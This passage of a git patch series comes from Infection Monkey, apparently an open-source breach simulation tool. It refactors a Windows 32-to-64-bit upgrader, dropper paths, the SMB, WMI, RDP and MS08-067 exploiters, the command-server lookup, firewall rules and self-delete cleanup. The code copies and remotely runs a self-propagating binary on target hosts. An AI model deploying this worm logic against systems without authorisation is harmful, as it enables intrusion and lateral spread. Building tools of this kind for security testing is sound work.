else None monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) + opts.parent, opts.tunnel, opts.server, depth) - monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'dropper_path': WormConfiguration.windows_upgrader_temp_path} + monkey_options + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 981319db4..3001ed768 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -350,14 +350,7 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - }, - "windows_upgrader_temp_path": { - "title": "Temporary upgrade path for 64bit monkey on Windows", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the 64 bit monkey while" - " upgrading on a Windows machine" - }, + } } }, "classes": { @@ -447,10 +440,16 @@ SCHEMA = { "default": "/tmp/monkey", "description": "Determines where should the dropper place the monkey on a Linux machine" }, - "dropper_target_path": { - "title": "Dropper target path on Windows", + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey.exe", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, "dropper_try_move_first": { From a37ef027727c3fd9fb61f9344a99115e058d6520 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:21:01 +0200 Subject: [PATCH 11/16] Fix mutual import --- infection_monkey/config.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 42140172f..dfd349473 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -1,15 +1,15 @@ import os +import struct import sys import types import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ +from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange -from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -120,8 +120,12 @@ class Configuration(object): dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + @staticmethod + def is_64_bit_python(): + return struct.calcsize("P") == 8 + def get_dropper_target_path_win(self): - return self.dropper_target_path_win_64 if WindowsUpgrader.is_64bit_python() else self.dropper_target_path_win_32 + return self.dropper_target_path_win_64 if self.is_64_bit_python() else self.dropper_target_path_win_32 ########################### # Kill file From 450f3ed3be59c2f59d6cf268963c2beffd5acc4a Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:50:35 +0200 Subject: [PATCH 12/16] Use 32bit as default path --- infection_monkey/config.py | 7 ------- infection_monkey/exploit/rdpgrinder.py | 4 ++-- infection_monkey/exploit/smbexec.py | 6 +++--- infection_monkey/exploit/win_ms08_067.py | 8 ++++---- infection_monkey/exploit/wmiexec.py | 6 +++--- infection_monkey/monkey.py | 2 +- 6 files changed, 13 insertions(+), 20 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index dfd349473..404dc194e 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -120,13 +120,6 @@ class Configuration(object): dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - @staticmethod - def is_64_bit_python(): - return struct.calcsize("P") == 8 - - def get_dropper_target_path_win(self): - return self.dropper_target_path_win_64 if self.is_64_bit_python() else self.dropper_target_path_win_32 - ########################### # Kill file ########################### diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index fb4d0f32d..d95bd74ba 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.get_dropper_target_path_win(), + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.get_dropper_target_path_win(), + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index 717810bf9..d3b27f79d 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index b29012d47..85086bce7 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 0db4be6ef..0f9b2ee4c 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.get_dropper_target_path_win(), + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): + elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index a38d04dde..1065cf257 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -243,7 +243,7 @@ class InfectionMonkey(object): self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python') and not self._upgrading_to_64: + and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE From 148684d78fef412fd9e88c56b2859a8b5c9c0d91 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 19:07:03 +0300 Subject: [PATCH 13/16] Fixed most CR --- infection_monkey/config.py | 2 +- infection_monkey/control.py | 21 ++++++++++----- infection_monkey/dropper.py | 9 +++---- infection_monkey/monkey.py | 38 ++++++++++++++++------------ infection_monkey/windows_upgrader.py | 18 ++++++------- monkey_island/cc/services/config.py | 6 +++-- 6 files changed, 55 insertions(+), 39 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 404dc194e..b9c3c8595 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -6,7 +6,7 @@ import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 12f0cb754..0a32aa8b9 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -4,6 +4,7 @@ import platform from socket import gethostname import requests +from requests.exceptions import ConnectionError import monkeyfs import tunnel @@ -59,9 +60,11 @@ class ControlClient(object): if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) + current_server = "" + for server in WormConfiguration.command_servers: try: - WormConfiguration.current_server = server + current_server = server debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: @@ -70,23 +73,29 @@ class ControlClient(object): requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies) + WormConfiguration.current_server = current_server break - except Exception as exc: - WormConfiguration.current_server = "" + except ConnectionError as exc: + current_server = "" LOG.warn("Error connecting to control server %s: %s", server, exc) - if not WormConfiguration.current_server: - if not ControlClient.proxies: + if current_server: + return True + else: + if ControlClient.proxies: + return False + else: LOG.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.find_server() + return ControlClient.find_server() else: LOG.info("No tunnel found") + return False @staticmethod def keepalive(): diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 927ea7cf6..1e6bf2048 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -38,7 +38,7 @@ class MonkeyDrops(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-l', '--location') self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) @@ -56,7 +56,7 @@ class MonkeyDrops(object): return # we copy/move only in case path is different - file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) @@ -108,9 +108,8 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - depth = int(self.opts.depth) if self.opts.depth is not None else None - monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, depth) + monkey_options =\ + build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 1065cf257..e9794355d 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -48,14 +48,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) self._opts, self._args = arg_parser.parse_known_args(self._args) self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server if self._opts.depth: - WormConfiguration.depth = int(self._opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -71,9 +70,9 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if firewall.is_enabled(): - firewall.add_firewall_rule() - ControlClient.find_server(default_tunnel=self._default_tunnel) + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -89,6 +88,9 @@ class InfectionMonkey(object): LOG.info("Marked not alive from configuration") return + if firewall.is_enabled(): + firewall.add_firewall_rule() + monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() @@ -227,21 +229,27 @@ class InfectionMonkey(object): LOG.info("Monkey cleanup started") self._keep_running = False - # Signal the server (before closing the tunnel) - if not self._upgrading_to_64: - ControlClient.send_telemetry("state", {'done': True}) + if self._upgrading_to_64: + InfectionMonkey.close_tunnel() + firewall.close() + else: + ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + InfectionMonkey.close_tunnel() + firewall.close() + self._singleton.unlock() - # Close tunnel + InfectionMonkey.self_delete() + LOG.info("Monkey is shutting down") + + @staticmethod + def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) - firewall.close() - - if not self._upgrading_to_64: - self._singleton.unlock() - + @staticmethod + def self_delete(): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: @@ -257,5 +265,3 @@ class InfectionMonkey(object): os.remove(sys.executable) except Exception as exc: LOG.error("Exception in self delete: %s", exc) - - LOG.info("Monkey is shutting down") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index c63b64524..996e2a856 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -3,6 +3,7 @@ import os import struct import subprocess import sys +import shutil import time @@ -23,9 +24,11 @@ else: class WindowsUpgrader(object): + __UPGRADE_WAIT_TIME__ = 3 + @staticmethod def is_64bit_os(): - return os.environ.has_key('PROGRAMFILES(X86)') + return 'PROGRAMFILES(X86)' in os.environ @staticmethod def is_64bit_python(): @@ -44,13 +47,10 @@ class WindowsUpgrader(object): def upgrade(opts): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: - written_monkey_file.write(monkey_bin) + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - depth = int(opts.depth) if opts.depth is not None else None - monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, depth) + monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options @@ -62,6 +62,6 @@ class WindowsUpgrader(object): LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) - time.sleep(3) + time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) if monkey_process.poll() is not None: - LOG.warn("Seems like monkey died too soon") + LOG.error("Seems like monkey died too soon") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 3001ed768..82e536c24 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -444,13 +444,15 @@ SCHEMA = { "title": "Dropper target path on Windows (32bit)", "type": "string", "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" }, "dropper_target_path_win_64": { "title": "Dropper target path on Windows (64bit)", "type": "string", "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" }, "dropper_try_move_first": { "title": "Try to move first", From 86d802882a2e18a4205716ed3b628ea3c793ba90 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 20:59:23 +0300 Subject: [PATCH 14/16] Fix race-condition bug on upgrade --- infection_monkey/main.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/infection_monkey/main.py b/infection_monkey/main.py index 6bdef408c..51fd6b9f7 100644 --- a/infection_monkey/main.py +++ b/infection_monkey/main.py @@ -91,7 +91,12 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - os.remove(log_path) + # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. + try: + os.remove(log_path) + except OSError: + pass LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['root']['handlers'].append('file') else: From 1407ab3969b513485f8faba04d8949e95a143055 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 11 Apr 2018 21:09:06 +0300 Subject: [PATCH 15/16] Fix last CR comments --- infection_monkey/utils.py | 13 +++++++++++++ infection_monkey/windows_upgrader.py | 19 +++---------------- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index d95407341..baef2372a 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import struct from config import WormConfiguration @@ -12,3 +13,15 @@ def get_monkey_log_path(): def get_dropper_log_path(): return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ else WormConfiguration.dropper_log_path_linux + + +def is_64bit_os(): + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 996e2a856..38cb3a479 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,6 +1,4 @@ import logging -import os -import struct import subprocess import sys import shutil @@ -12,6 +10,7 @@ from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS +from utils import is_windows_os, is_64bit_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -26,22 +25,10 @@ else: class WindowsUpgrader(object): __UPGRADE_WAIT_TIME__ = 3 - @staticmethod - def is_64bit_os(): - return 'PROGRAMFILES(X86)' in os.environ - - @staticmethod - def is_64bit_python(): - return struct.calcsize("P") == 8 - - @staticmethod - def is_windows_os(): - return sys.platform.startswith("win") - @staticmethod def should_upgrade(): - return WindowsUpgrader.is_windows_os() and WindowsUpgrader.is_64bit_os() \ - and not WindowsUpgrader.is_64bit_python() + return is_windows_os() and is_64bit_os() \ + and not is_64bit_python() @staticmethod def upgrade(opts): From 3e859d84fb0bf27e0acfa5a6b45c5fc78ea63fbb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 12 Apr 2018 17:57:21 +0300 Subject: [PATCH 16/16] Rename check for 64-bit to make explict it's a windows only check --- infection_monkey/utils.py | 6 +++++- infection_monkey/windows_upgrader.py | 4 ++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index baef2372a..e2f66bd03 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -15,7 +15,11 @@ def get_dropper_log_path(): else WormConfiguration.dropper_log_path_linux -def is_64bit_os(): +def is_64bit_windows_os(): + ''' + Checks for 64 bit Windows OS using environment variables. + :return: + ''' return 'PROGRAMFILES(X86)' in os.environ diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 38cb3a479..cbd879c15 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS -from utils import is_windows_os, is_64bit_os, is_64bit_python +from utils import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -27,7 +27,7 @@ class WindowsUpgrader(object): @staticmethod def should_upgrade(): - return is_windows_os() and is_64bit_os() \ + return is_windows_os() and is_64bit_windows_os() \ and not is_64bit_python() @staticmethod